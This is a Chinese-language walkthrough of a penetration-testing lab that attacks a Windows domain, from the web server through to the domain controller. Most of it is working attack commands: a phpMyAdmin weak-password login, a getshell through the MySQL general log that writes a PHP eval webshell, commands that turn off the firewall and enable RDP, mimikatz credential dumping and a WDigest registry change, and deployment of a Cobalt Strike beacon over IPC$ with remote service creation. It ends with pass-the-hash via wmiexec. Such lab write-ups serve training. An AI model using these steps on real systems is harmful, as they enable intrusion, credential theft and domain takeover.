文章目录
- 一、环境搭建
- 1、网络拓扑
- 2、web服务器(win7)配置
- 3、域控(winserver2008)配置
- 4、域内机器(windows 2003)配置
- 5、调试网络是否通常
- 二、web渗透
- 1、信息搜集
- 2、端口扫描
- 3、目录扫描
- 4、弱口令
- 5、phpmyadmin getshell
- 日志getshell
- 6、远程桌面连接
- 开启3389端口
- 关闭防火墙
- 内存密码抓取
- 远程桌面登录
- 三、内网渗透
- 1、内网信息收集
- 2、蚁剑上线到CS
- 3、内网横向——IPC$管道
- 4、使用CS自带SMB Beacon上线不出网机器
- 5、远程连接域控
- 四、windows认证
- 1、windows认证流程
- 2、抓取SAM文件中的hash值
- 3、 NTLM-HASH
- 1、介绍
- 2、NTLM Hash加密过程
- 4、lsass.exe内存抓取密码
- 5、LM-HASH
- 1、介绍
- 2、LM-Hash加密过程
- 6、高版本密码抓取
- 7、PTH攻击(hash传递攻击)
一、环境搭建
1、网络拓扑
2、web服务器(win7)配置
首先准备两个网卡vmnet2
和vmnet4
,其中vmnet4
用于连接外网(连接物理机),vmnet2
用于连接外网。具体网卡配置如下:
然后win7充当web服务器,拥有vmnet2
和vmnet4
,手动设置vmnet4
IP为192.168.111.128
,vmnet2
IP为192.168.52.143
。**注意:vmnet2的DNS服务器地址为域控。**具体配置如下:
关闭win7上的防火墙,物理机可以ping通192.168.111.128,ping不通192.168.52.143。记得开启防火墙~
3、域控(winserver2008)配置
网卡设置为内网网卡vmnet2
。
登录域控的时候,首先用Administrator hongrisec@2019
登录,然后需要更改密码,这里改为hongrisec@2024
。
查看域控ip是否为1922.168.52.138
.
4、域内机器(windows 2003)配置
网卡设置为内网网卡vmnet2
。
注意:刚刚在域控上改了Administrator
的密码,域内所有主机Administrator
的密码都被改了,这里密码为hongrisec@2024
。
确定IP为192.168.52.141
.
!!!配置好上述之后,要重启win7主机,使用hongrisec@2024
进行登录。
5、调试网络是否通常
在win7和winsever 2003上使用net user /domain
查看域用户:
正常情况下,物理机只能通过ping 192.168.111.128
ping通web服务器(win 7),域内机器是可以互ping,而物理机是ping不通域内机器的。
二、web渗透
1、信息搜集
信息搜集主要搜集以下信息:
- IP地址
- 子域名
- 目录结构
- JS信息
- APP和小程序
- 端口
- 旁站
- C端
- whois信息
- 公司结构
- 公司相关手机、邮箱
2、端口扫描
常见端口及其对应的服务:
这里使用nmap进行端口扫描,命令如下:
nmap -p- -sV -A 192.168.111.128
可以看到网站开放了80、135、139、445、3306
端口。
3、目录扫描
这里用御剑进行网站目录扫描
根据扫描结果,主要是phpinfo页面
、phpmyadmin
和beifen.rar
。
4、弱口令
访问phpmyadmin
页面,尝试弱口令root/root,成功登录~
5、phpmyadmin getshell
日志getshell
mysql5.0版本以上会创建日志,可以通过修改日志的全局变量getshell。
检测全局变量(general_log、general_log file)
使用如下命令:
show variables like 'genral%'
general log
指的是日志保存状态,ON代表开启,OFF代表关闭;general log file
指的是日志的保存路径。
开启日志
开启general_log
作用:开启它可以记录用户输入的每一条命令,并且将其保存在general_log_file
指向的文件中,也就是日志文件。
利用思路:开启
general_log
之后,把general_log_file
的值修改为网站默认路径下的某个php文件中,并将一句话木马写入日志文件中。
根据php探针,我们可以知道网站目录C://phpStudy/WWW/1.php
,所有将general_log_file=C://phpStudy/WWW/shell.php
。
set global general_log = "ON"; # 开启日志
set global general_log_file= "C:/phpStudy/WWW/shell.php"; # 更改日志路径
这时候我们访问192.168.111.128/shell.php
,可以看到mysql的日志内容。
写入一句话木马
在SQL执行环境中,写入一句话木马select <?php @eval($_POST[1]);?>
。
连接shell
连接密码就是post
传输的参数~
点击添加
后,即可用蚁剑连接到一句话木马。
6、远程桌面连接
要想远程桌面连接,需要解决三个问题:
- 开启3389端口;
- 知道防火墙用户名和密码;
- 关闭靶机防火墙。
开启3389端口
根据端口扫描的结果,目标机器没有开启3389端口,也可以在命令行中用netstat -ano
命令查看以开放的端口。
-a
:显示所有选项,默认不显示LISTEN相关;-n
:拒绝显示别名,能显示数字的全部转化成数字;-o
:显示计时器。
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f # 开启3389端口
关闭防火墙
netsh firewall show state # 查看防火墙状态
netsh firewall set opmode disable # 关闭防火墙
可见防火墙状态:开启。
关闭防火墙。
内存密码抓取
首先通过蚁剑上传mimikatz到目标主机.
mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" "exit"
mimikatz
常见命令如下:
cls | 清屏 |
---|---|
exit | 退出 |
version | 查看mimikatz的版本 |
system::user | 查看当前登录的系统用户 |
system::computer | 查看计算机名称 |
process::list | 列出进程 |
process::suspend 进程名称 | 暂停进程 |
process::stop 进程名称 | 结束进程 |
process::modules | 列出系统的核心模块及所在位置 |
service::list | 列出系统的服务 |
service::remove | 移除系统的服务 |
service::start stop 服务名称 | 启动或停止服务 |
privilege::list | 列出权限列表 |
privilege::enable | 激活一个或多个权限 |
privilege::debug | 提升权限 |
nogpo::cmd | 打开系统的cmd.exe |
nogpo::regedit | 打开系统的注册表 |
nogpo::taskmgr | 打开任务管理器 |
ts::sessions | 显示当前的会话 |
ts::processes | 显示进程和对应的pid情况等 |
sekurlsa::wdigest | 获取本地用户信息及密码 |
sekurlsa::tspkg | 获取tspkg用户信息及密码 |
sekurlsa::logonPasswords | 获登陆用户信息及密码 |
远程桌面登录
输入用户名GOD\Administrator
,密码hongridec@2019
,成功连接。
对方电脑会锁屏!
三、内网渗透
内网中电脑的分布形式有两种:工作组和域环境(域控进行统一的管理)。
1、内网信息收集
收集用户信息
whoami # 查看当前用户信息
hostname # 查看当前设备主机名
net user # 查看本地用户
net user /domain # 查看域用户,向域控去查询
因为主机名为stu1
,按道理本地管理员应该是stu1\administrator
,所以god\administrator
是一个域账号。本地账号的命名方式:主机名\本地用户名。域账号的命名方式:域名\域账号名
- 域账号:在域控制器(Domain Controller)上创建和管理的账号,域账号的权限和访问控制由域控制器管理。
- 本地账号:在单个计算机上创建和管理的账号,本地账号只能在特定计算机上使用,不能跨计算机使用。
收集域名信息
systeminfo # 查看域名信息
收集域内机器数
net group "domain computers" /domain # 向域控询问当前域环境中有多少设备
当前域内存在三台电脑:DEV1
、ROOT-TV1862UBEH
、STU1
。
查询域控IP及域名
nslookup -type=SRV _ldap._tcp
查询域内机器IP
arp -a # 查看当前计算机上的arp缓存表
ping <主机名>
2、蚁剑上线到CS
Cobalt Strike部署–Windows
192.168.111.1
是物理机在vmnet4
网卡下的ip地址。
添加监听器
生成木马
保存到桌面,木马名为shell.exe
。
蚁剑上传木马,并运行
sleep
改为1。目前不知道为什么?
3、内网横向——IPC$管道
横向移动技术有:利用远控工具横向;IPC$横向移动;PTH哈希传递攻击;PTK密钥传递攻击;PTT票据传递攻击;PSexec工具横向移动;SMB工具横向移动;WinRM命令横向移动;WMI命令横向移动。
IPC简介
IPC(internet ProcessConnection)共享“命名管道”的资源,是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获得相应的权限,通常在远程登录计算机和查看计算机的共享资源时使用。
通过IPC$,可以与目标机器建立连接,利用该连接,不仅可以访问目标机器的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。
在CS中直接运行run mimikatz
抓取当前主机的用户名和密码。
与域控建立IPC管道
net use \\<域控域名>\IPC$ "<登录密码>" /user:<登录用户> # 与域控建立IPC管道
# 具体命令
net use \\owa.god.org\IPC$ "hongrisec@2024" /user:god\administrator
net use # 查看网络共享连接
copy shell.exe \\owa.god.org\C$ # 将web服务器上的cs木马远程复制到域控的c盘下
4、使用CS自带SMB Beacon上线不出网机器
隧道部分知识:反弹shell、端口转发、端口映射、正向连接、反向连接、DNS隧道、socks隧道、HTTP隧道、ICMP隧道…
创建监听器
生成相应的木马
将木马传到域控上
先将木马用CS上传到web服务器上,再通过IPC管道上传到域控上。
域控运行smb木马
思路:远程创建服务,远程执行服务。
sc \\owa.god.org create test binpath= "cmd.exe /c c:\smb.exe" # 创建服务
# sc:是Windows系统中的一个命令行工具,用于管理和配置系统服务。
# create:是 sc 命令的参数之一,指示要创建一个新的服务。
# test:表示要创建的新服务的名称,这里将其命名为 "test"。
# binpath=:是 sc 命令的参数之一,用于指定服务的二进制路径。
# "cmd.exe /c c:\smb.exe":是要作为服务的二进制路径的值。这里使用了 cmd.exe 命令解释器,/c 参数表示在执行完命令后立即退出,并指定了一个名为 smb.exe 的可执行文件的路径(在C盘根目录下)。
sc \\owa.god.org start test # 远程运行服务
link owa.god.org
域控成功上线~
5、远程连接域控
# 开启3389端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
# 查看防火墙状态
netsh firewall show state
# 关闭防火墙
netsh firewall set opmode disable
# 在web服务器上运行,将192.168.52.138的3389流量转发到192.168.52.143(web服务器)的9999端口
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=9999 connectport=3389 connectaddress=192.168.52.138
# netsh是用于配置网络设置的Windows命令行工具。
# interface portproxy指示netsh工具执行端口代理配置。
# add v4tov4表示将添加一个IPv4到IPv4的端口代理。
# listenaddress=0.0.0.0指定监听地址为0.0.0.0,这表示将监听所有可用的网络接口。
# listenport=9999指定要监听的本地端口号为9999。
# connectport=3389指定要连接的远程目标端口号为3389。
# connectaddress=192.168.52.138指定要连接的远程目标地址为192.168.52.138。
# 查看是否配置成功
netsh interface portproxy show v4tov4
在web服务器上运行~
四、windows认证
1、windows认证流程
windows认证流程图解:
windows Logon Process
(即winlogon.exe
):是windows NT 用户登录程序,用于管理用户登录和退出。用户注销、重启、锁屏后,操作系统会让winlogon.exe显示登录界面。lsass.exe
是一个系统进程,用于微软windows系统的安全机制。它用于本地安全和登录策略。1、将winlogon传过来的明文账号密码进行加密,然后和SAM文件中的密文账号密码进行对比,对比成功则登录;2、将收到的明文账号密码在本地内存中保留一份作备用。要想获取windows账号密码,要么读取SAM文件;要么查看内存中保存的明文账号和密码。
SAM
文件是位于C:\windows\system32\config\
目录下的,用于存储本地所有用户的凭证信息。普通人:不能删、不能改、不能看、不能复制该文件。
完整登录流程:
2、抓取SAM文件中的hash值
使用mimikatz读取SAM文件中的密码
mimikatz.exe # 运行mimikatz.exe
privilege::debug # Mimikatz提升当前进程的调试特权,调试特权允许进程访问和操作其他进程的内存和资源
token::elevate # Mimikatz获取到当前进程的访问令牌,并将其权限级别提升到最高级别,即系统级别
lsadump::sam # 读取sam文件
这里读取的是本地SAM文件~
3、 NTLM-HASH
1、介绍
NTLM Hash
是微软为了提高安全性的同时保证兼容性而设计的散列加密算法,NTLM Hash
是基于MD4
加密算法进行加密的。个人版从windows vista
以后,服务器版从windows server 2003
以后,windows操作系统的认证方式均为NTLM Hash
。
2、NTLM Hash加密过程
- 将明文口令转换成十六进制格式;
- 将16进制转化成unicode格式(每两位加00);
- 对unicode字符串作MD4加密。
4、lsass.exe内存抓取密码
mimikatz.exe # 运行mimikatz.exe
privilege::debug # Mimikatz提升当前进程的调试特权,调试特权允许进程访问和操作其他进程的内存和资源
sekurlsa::logonPasswords # 抓取内存中的明文账号和密码
成功读取用户名和密码~
这里抓取的是域用户的内存密码!
5、LM-HASH
1、介绍
windows操作系统通常使用两种方法对用户的明文密码进行加密处理,一部分为LM-Hash,另一部分为NTLM-Hash。为了解决LM加密和身份验证方案中固有的安全弱点,微软于1993年在Windows NT 3.1中引入NTLM协议。下面是各个版本对LM和NTLM的支持:
2、LM-Hash加密过程
6、每7组bit为单位,后面加一个0;
6、高版本密码抓取
使用上述方法,mimikatz默认情况抓取不到win10的明文密码。
在windows2012及以上的系统,默认在内存缓存中禁止保存明文密码。可以通过修改注册表的方式抓取明文,需要用户重新登录后才能成功抓取~
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
7、PTH攻击(hash传递攻击)
适用:win10、win8、win11、win 2012都可以使用。
情景:在内网中因为员工很多电脑就很多,很多网络管理员在安装系统时都会采用相同的账号密码,如果账号密码相同,NTLM-Hash值也就相同,我们可以利用明文或NTLM-Hash进行认证,从而实现远程控制对方电脑。
横向移动工具:PSEXEC、WMIEXEC、SMBEXEC
。
wmiexec.exe <用户名>:<密码>@<ip> # 明文认证
wmiexec.exe -hashes LM-Hash:NTLM-Hash <用户名>@<ip> # NTLM-Hash认证